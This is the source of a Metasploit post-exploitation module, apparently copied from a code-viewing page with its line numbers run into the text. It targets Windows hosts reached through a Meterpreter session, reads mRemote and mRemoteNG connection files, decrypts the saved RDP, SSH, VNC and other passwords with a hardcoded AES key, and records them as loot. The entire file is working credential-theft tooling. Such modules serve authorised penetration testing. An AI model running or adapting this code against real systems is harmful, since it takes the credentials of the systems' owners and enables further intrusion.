Path: blob/master/modules/post/windows/gather/credentials/mremote.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather mRemote Saved Password Extraction',17'Description' => %q{18This module extracts saved passwords from mRemote. mRemote stores19connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves20the passwords in an encrypted format. The module will extract the connection21info and decrypt the saved passwords.22},23'License' => MSF_LICENSE,24'Author' => [25'theLightCosine',26'hdm', # Helped write the Decryption Routine27'mubix' # Helped write the Decryption Routine28],29'Platform' => [ 'win' ],30'SessionTypes' => [ 'meterpreter' ],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [],34'Reliability' => []35}36)37)38end3940def run41@secret = "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"4243grab_user_profiles.each do |user|44next if user['LocalAppData'].nil?4546tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'47ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'48get_xml(tmpath)49get_xml(ng_path)50end51end5253def get_xml(path)54print_status("Looking for #{path}")5556return unless file_exist?(path)5758condata = read_file(path)59loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)60vprint_good("confCons.xml saved to #{loot_path}")61parse_xml(condata)62print_status("Finished processing #{path}")63rescue Rex::Post::Meterpreter::RequestError64print_status("The file #{path} either could not be read or does not exist")65end6667def parse_xml(data)68mxml = REXML::Document.new(data).root69mxml.elements.to_a('//Node').each do |node|70host = node.attributes['Hostname']71port = node.attributes['Port']72proto = node.attributes['Protocol']73user = node.attributes['Username']74domain = node.attributes['Domain']75epassword = node.attributes['Password']76next if epassword.nil? || epassword == ''7778decoded = epassword.unpack('m*')[0]79iv = decoded.slice!(0, 16)80pass = decrypt(decoded, @secret, iv, 'AES-128-CBC')81print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")8283service_data = {84address: host,85port: port,86service_name: proto,87protocol: 'tcp',88workspace_id: myworkspace_id89}9091credential_data = {92origin_type: :session,93session_id: session_db_id,94post_reference_name: refname,95private_type: :password,96private_data: pass,97username: user98}99100if domain.present?101credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN102credential_data[:realm_value] = domain103end104105credential_data.merge!(service_data)106107# Create the Metasploit::Credential::Core object108credential_core = create_credential(credential_data)109110# Assemble the options hash for creating the Metasploit::Credential::Login object111login_data = {112core: credential_core,113status: Metasploit::Model::Login::Status::UNTRIED114}115116# Merge in the service data and create our Login117login_data.merge!(service_data)118create_credential_login(login_data)119end120end121122def decrypt(encrypted_data, key, iv, cipher_type)123aes = OpenSSL::Cipher.new(cipher_type)124aes.decrypt125aes.key = key126aes.iv = iv if !iv.nil?127aes.update(encrypted_data) + aes.final128end129end130131132